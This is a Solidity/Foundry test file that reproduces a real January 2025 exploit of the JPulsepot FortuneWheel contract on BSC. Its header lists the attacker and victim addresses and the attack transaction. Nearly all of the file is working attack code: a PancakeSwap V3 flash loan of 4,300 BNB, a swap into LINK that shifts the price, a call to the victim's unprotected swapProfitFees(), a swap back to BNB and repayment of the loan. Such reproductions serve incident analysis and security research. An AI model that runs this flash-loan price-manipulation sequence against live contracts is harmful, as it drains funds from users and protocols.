src/test/2025-01/JPulsepot_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 21.5K
7// Attacker : https://bscscan.com/address/0xf1e73123594cb0f3655d40e4dd6bde41fa8806e8
8// Attack Contract : https://bscscan.com/address/0xe40ab156440804c3404bb80cbb6b47dddd3abfd7
9// Created Attack Contract: https://bscscan.com/address/0x818CD70bE0C9DEC3B0bc52eFAACEb06469Ce587F
10// Vulnerable Contract : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e
11// Attack Tx : https://bscscan.com/tx/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x384b9fb6e42dab87f3023d87ea1575499a69998e#code
15 
16// @Analysis
17// Post-mortem : 
18// Twitter Guy : https://x.com/CertiKAlert/status/1877662352834793639
19// Hacking God : 
20pragma solidity ^0.8.0;
21 
22import "../interface.sol";
23 
24interface IFortuneWheel {
25    function swapProfitFees() external;
26}
27 
28contract JPulsepot is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 45_640_245;
30    address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
31    address internal constant BNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
32    address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
33    address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;
34    address internal constant victim = 0x384b9fb6E42dab87F3023D87ea1575499A69998E;
35 
36    function setUp() public {
37        vm.createSelectFork("bsc", blocknumToForkFrom);
38        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
39        fundingToken = address(BNB);
40    }
41 
42    function testExploit() public balanceLog {
43        //implement exploit code here
44        address recipient = address(this);
45        uint256 amount0 = 0;
46        uint256 amount1 = 4_300_000_000_000_000_000_000;
47        bytes memory data = abi.encode(amount1);
48        IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);
49    }
50 
51    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
52        uint256 amount = abi.decode(data, (uint256));
53 
54        IERC20(BNB).approve(PancakeV2Router, type(uint256).max);
55 
56        uint256 amountIn = amount;
57        uint256 amonutOutMin = 0;
58        address[] memory path = new address[](2);
59        path[0] = BNB;
60        path[1] = LINK;
61        address recipient = address(this);
62        uint256 deadline = block.timestamp;
63        IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amonutOutMin, path, recipient, deadline);
64        
65        IFortuneWheel(victim).swapProfitFees();
66 
67        IERC20(LINK).approve(PancakeV2Router, type(uint256).max);
68 
69        amountIn = IERC20(LINK).balanceOf(address(this));
70        path[0] = LINK;
71        path[1] = BNB;
72        IUniswapV2Router(payable(PancakeV2Router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, recipient, deadline);
73        IERC20(BNB).transfer(msg.sender, amount+fee1);
74    }
75 
76    receive() external payable {}
77}